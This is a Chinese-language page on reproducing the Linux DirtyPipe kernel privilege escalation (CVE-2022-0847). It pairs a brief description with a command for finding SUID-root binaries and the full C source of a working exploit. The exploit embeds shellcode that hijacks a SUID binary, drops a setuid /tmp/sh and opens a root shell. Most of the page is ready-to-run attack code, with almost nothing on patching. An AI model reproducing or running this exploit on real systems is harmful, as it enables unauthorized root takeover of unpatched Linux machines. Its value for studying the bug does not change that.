Linux DirtyPipe权限提升漏洞 CVE-2022-0847

漏洞描述

CVE-2022-0847-DirtyPipe-Exploit CVE-2022-0847 是存在于 Linux内核 5.8 及之后版本中的本地提权漏洞。攻击者通过利用此漏洞，可覆盖重写任意可读文件中的数据，从而可将普通权限的用户提升到特权 root。 CVE-2022-0847 的漏洞原理类似于 CVE-2016-5195 脏牛漏洞（Dirty Cow），但它更容易被利用。漏洞作者将此漏洞命名为“Dirty Pipe”

漏洞影响

Linux内核 5.8 及之后版本

漏洞复现

查找具有suid权限的可执行文件

find / -user root -perm /4000 2>/dev/null

编译POC文件后，指定修改的Suid可执行文件，获取root权限

漏洞POC

//
// dirtypipez.c
//
// hacked up Dirty Pipe (CVE-2022-0847) PoC that hijacks a SUID binary to spawn
// a root shell. (and attempts to restore the damaged binary as well)
//
// Wow, Dirty CoW reloaded!
//
// -- blasty <peter@haxx.in> // 2022-03-07/* SPDX-License-Identifier: GPL-2.0 */
/** Copyright 2022 CM4all GmbH / IONOS SE** author: Max Kellermann <max.kellermann@ionos.com>** Proof-of-concept exploit for the Dirty Pipe* vulnerability (CVE-2022-0847) caused by an uninitialized* "pipe_buffer.flags" variable.  It demonstrates how to overwrite any* file contents in the page cache, even if the file is not permitted* to be written, immutable or on a read-only mount.** This exploit requires Linux 5.8 or later; the code path was made* reachable by commit f6dd975583bd ("pipe: merge* anon_pipe_buf*_ops").  The commit did not introduce the bug, it was* there before, it just provided an easy way to exploit it.** There are two major limitations of this exploit: the offset cannot* be on a page boundary (it needs to write one byte before the offset* to add a reference to this page to the pipe), and the write cannot* cross a page boundary.** Example: ./write_anything /root/.ssh/authorized_keys 1 $'\nssh-ed25519 AAA......\n'** Further explanation: https://dirtypipe.cm4all.com/*/#define _GNU_SOURCE
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/stat.h>
#include <sys/user.h>
#include <stdint.h>#ifndef PAGE_SIZE
#define PAGE_SIZE 4096
#endif// small (linux x86_64) ELF file matroshka doll that does;
//   fd = open("/tmp/sh", O_WRONLY | O_CREAT | O_TRUNC);
//   write(fd, elfcode, elfcode_len)
//   chmod("/tmp/sh", 04755)
//   close(fd);
//   exit(0);
//
// the dropped ELF simply does:
//   setuid(0);
//   setgid(0);
//   execve("/bin/sh", ["/bin/sh", NULL], [NULL]);
unsigned char elfcode[] = {/*0x7f,*/ 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00,0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00,0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00,0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x05, 0x00, 0x00, 0x00,0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00,0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00,0x97, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x97, 0x01, 0x00, 0x00,0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,0x48, 0x8d, 0x3d, 0x56, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc6, 0x41, 0x02,0x00, 0x00, 0x48, 0xc7, 0xc0, 0x02, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48,0x89, 0xc7, 0x48, 0x8d, 0x35, 0x44, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc2,0xba, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc0, 0x01, 0x00, 0x00, 0x00, 0x0f,0x05, 0x48, 0xc7, 0xc0, 0x03, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x8d,0x3d, 0x1c, 0x00, 0x00, 0x00, 0x48, 0xc7, 0xc6, 0xed, 0x09, 0x00, 0x00,0x48, 0xc7, 0xc0, 0x5a, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x31, 0xff,0x48, 0xc7, 0xc0, 0x3c, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x2f, 0x74, 0x6d,0x70, 0x2f, 0x73, 0x68, 0x00, 0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01,0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e,0x00, 0x01, 0x00, 0x00, 0x00, 0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00,0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38,0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00,0x00, 0x05, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40,0x00, 0x00, 0x00, 0x00, 0x00, 0xba, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,0x00, 0xba, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00,0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x31, 0xff, 0x48, 0xc7, 0xc0, 0x69,0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x31, 0xff, 0x48, 0xc7, 0xc0, 0x6a,0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0x8d, 0x3d, 0x1b, 0x00, 0x00, 0x00,0x6a, 0x00, 0x48, 0x89, 0xe2, 0x57, 0x48, 0x89, 0xe6, 0x48, 0xc7, 0xc0,0x3b, 0x00, 0x00, 0x00, 0x0f, 0x05, 0x48, 0xc7, 0xc0, 0x3c, 0x00, 0x00,0x00, 0x0f, 0x05, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00
};/*** Create a pipe where all "bufs" on the pipe_inode_info ring have the* PIPE_BUF_FLAG_CAN_MERGE flag set.*/
static void prepare_pipe(int p[2])
{if (pipe(p)) abort();const unsigned pipe_size = fcntl(p[1], F_GETPIPE_SZ);static char buffer[4096];/* fill the pipe completely; each pipe_buffer will now havethe PIPE_BUF_FLAG_CAN_MERGE flag */for (unsigned r = pipe_size; r > 0;) {unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;write(p[1], buffer, n);r -= n;}/* drain the pipe, freeing all pipe_buffer instances (butleaving the flags initialized) */for (unsigned r = pipe_size; r > 0;) {unsigned n = r > sizeof(buffer) ? sizeof(buffer) : r;read(p[0], buffer, n);r -= n;}/* the pipe is now empty, and if somebody adds a newpipe_buffer without initializing its "flags", the bufferwill be mergeable */
}int hax(char *filename, long offset, uint8_t *data, size_t len) {/* open the input file and validate the specified offset */const int fd = open(filename, O_RDONLY); // yes, read-only! :-)if (fd < 0) {perror("open failed");return -1;}struct stat st;if (fstat(fd, &st)) {perror("stat failed");return -1;}/* create the pipe with all flags initialized withPIPE_BUF_FLAG_CAN_MERGE */int p[2];prepare_pipe(p);/* splice one byte from before the specified offset into thepipe; this will add a reference to the page cache, butsince copy_page_to_iter_pipe() does not initialize the"flags", PIPE_BUF_FLAG_CAN_MERGE is still set */--offset;ssize_t nbytes = splice(fd, &offset, p[1], NULL, 1, 0);if (nbytes < 0) {perror("splice failed");return -1;}if (nbytes == 0) {fprintf(stderr, "short splice\n");return -1;}/* the following write will not create a new pipe_buffer, butwill instead write into the page cache, because of thePIPE_BUF_FLAG_CAN_MERGE flag */nbytes = write(p[1], data, len);if (nbytes < 0) {perror("write failed");return -1;}if ((size_t)nbytes < len) {fprintf(stderr, "short write\n");return -1;}close(fd);return 0;
}int main(int argc, char **argv) {if (argc != 2) {fprintf(stderr, "Usage: %s SUID\n", argv[0]);return EXIT_FAILURE;}char *path = argv[1];uint8_t *data = elfcode;int fd = open(path, O_RDONLY);uint8_t *orig_bytes = malloc(sizeof(elfcode));lseek(fd, 1, SEEK_SET);read(fd, orig_bytes, sizeof(elfcode));close(fd);printf("[+] hijacking suid binary..\n");if (hax(path, 1, elfcode, sizeof(elfcode)) != 0) {printf("[~] failed\n");return EXIT_FAILURE;}printf("[+] dropping suid shell..\n");system(path);printf("[+] restoring suid binary..\n");if (hax(path, 1, orig_bytes, sizeof(elfcode)) != 0) {printf("[~] failed\n");return EXIT_FAILURE;}printf("[+] popping root shell.. (dont forget to clean up /tmp/sh ;))\n");system("/tmp/sh");return EXIT_SUCCESS;
}